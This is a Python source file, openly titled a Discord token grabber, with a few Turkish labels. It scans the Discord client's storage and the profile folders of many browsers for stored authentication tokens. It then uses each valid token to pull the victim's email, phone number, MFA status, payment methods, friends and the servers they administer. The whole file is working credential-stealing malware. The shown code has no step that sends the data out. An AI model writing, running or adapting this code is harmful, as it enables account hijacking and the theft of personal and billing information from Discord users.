"""Discord token grabber"""
import os
import re
import requests
from datetime import datetime
def get_discord_info(token):
try:
headers = {"Authorization": token}
response = requests.get("https://discord.com/api/v9/users/@me", headers=headers, timeout=5)
if response.status_code != 200:
return None
data = response.json()
payment_methods = 0
try:
billing = requests.get(
"https://discord.com/api/v9/users/@me/billing/payment-sources",
headers=headers, timeout=5
)
if billing.status_code == 200:
payment_methods = len(billing.json())
except Exception:
pass
nitro_type = "Yokki"
if data.get('premium_type'):
nitro_type = {1: "Nitro Classic", 2: "Nitro Boost", 3: "Nitro Basic"}.get(data['premium_type'], "Var")
mfa = "Var" if data.get('mfa_enabled') else "Yokki"
friends_count = 0
try:
fr = requests.get("https://discord.com/api/v9/users/@me/relationships", headers=headers, timeout=5)
if fr.status_code == 200:
friends_count = len(fr.json())
except Exception:
pass
guilds, hq_guilds = [], []
try:
gr = requests.get("https://discord.com/api/v9/users/@me/guilds?with_counts=true", headers=headers, timeout=5)
if gr.status_code == 200:
for g in gr.json():
perms = int(g.get('permissions', 0))
is_admin = bool(perms & 0x8)
is_owner = g.get('owner', False)
if is_admin or is_owner:
role = "Sahip" if is_owner else "Admin"
hq_guilds.append({
"name": g['name'],
"members": g.get('approximate_member_count', 0),
"online": g.get('approximate_presence_count', 0),
"role": role
})
guilds.append(g['name'])
except Exception:
pass
badges = []
flags = data.get('public_flags', 0)
badge_map = {
1: "Discord Staff", 2: "Partnered", 4: "HypeSquad Events",
8: "Bug Hunter 1", 64: "Bravery", 128: "Brilliance",
256: "Balance", 512: "Early Supporter", 16384: "Bug Hunter 2",
131072: "Bot Dev", 4194304: "Active Dev"
}
for flag, badge in badge_map.items():
if flags & flag:
badges.append(badge)
user_id = int(data.get('id'))
created = datetime.fromtimestamp(((user_id >> 22) + 1420070400000) / 1000).strftime("%d %B %Y")
return {
"id": data.get('id'), "username": data.get('username'),
"email": data.get('email', 'N/A'), "phone": data.get('phone', 'N/A'),
"mfa": mfa, "nitro": nitro_type, "nitro_months": 0,
"billing": payment_methods, "friends": friends_count,
"guilds": guilds[:3], "hq_guilds": hq_guilds[:5],
"badges": badges, "created": created, "token": token
}
except Exception:
return None
def get_discord_tokens():
tokens = {}
local = os.getenv("LOCALAPPDATA")
roaming = os.getenv("APPDATA")
paths = {
"Discord": os.path.join(roaming, "discord"),
"Discord Canary": os.path.join(roaming, "discordcanary"),
"Discord PTB": os.path.join(roaming, "discordptb"),
"Lightcord": os.path.join(roaming, "Lightcord"),
"Chrome": os.path.join(local, "Google", "Chrome", "User Data"),
"Opera": os.path.join(roaming, "Opera Software", "Opera Stable"),
"Opera GX": os.path.join(roaming, "Opera Software", "Opera GX Stable"),
"Brave": os.path.join(local, "BraveSoftware", "Brave-Browser", "User Data"),
"Edge": os.path.join(local, "Microsoft", "Edge", "User Data"),
"Yandex": os.path.join(local, "Yandex", "YandexBrowser", "User Data"),
"Vivaldi": os.path.join(local, "Vivaldi", "User Data"),
"Firefox": os.path.join(roaming, "Mozilla", "Firefox", "Profiles")
}
token_patterns = [
r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}",
r"mfa\.[\w-]{84}",
r"[\w-]{24}\.[\w-]{6}\.[\w-]{38}",
]
all_found = []
def scan_path(base_path, name):
found = []
try:
for root, dirs, files in os.walk(base_path):
if "leveldb" in root.lower() or "local storage" in root.lower():
for file in files:
if file.endswith((".ldb", ".l0g")):
try:
with open(os.path.join(root, file), "rb") as f:
content = f.read().decode("utf-8", errors="ignore")
for pattern in token_patterns:
for m in re.findall(pattern, content):
if len(m) > 30:
found.append(f"{name}: {m}")
except Exception:
pass
except Exception:
pass
return found
for pname, bpath in paths.items():
if not os.path.exists(bpath):
continue
if "User Data" in bpath:
default = os.path.join(bpath, "Default")
if os.path.exists(default):
all_found.extend(scan_path(default, f"{pname} (Default)"))
try:
for item in os.listdir(bpath):
if item.startswith("Profile "):
all_found.extend(scan_path(os.path.join(bpath, item), f"{pname} ({item})"))
except Exception:
pass
else:
all_found.extend(scan_path(bpath, pname))
# Discord cache
for cache in ["Cache", "Code Cache"]:
cp = os.path.join(roaming, "discord", cache)
if os.path.exists(cp):
try:
for file in os.listdir(cp):
fp = os.path.join(cp, file)
if os.path.isfile(fp):
try:
with open(fp, "rb") as f:
content = f.read().decode("utf-8", errors="ignore")
for pattern in token_patterns:
for m in re.findall(pattern, content):
if len(m) > 30:
all_found.append(f"Discord Cache: {m}")
except Exception:
pass
except Exception:
pass
unique = list(set(all_found))
for ts in unique:
parts = ts.split(": ", 1)
if len(parts) == 2:
plat, tok = parts
if tok not in tokens:
info = get_discord_info(tok)
if info:
tokens[tok] = {"platform": plat, "info": info}
return tokens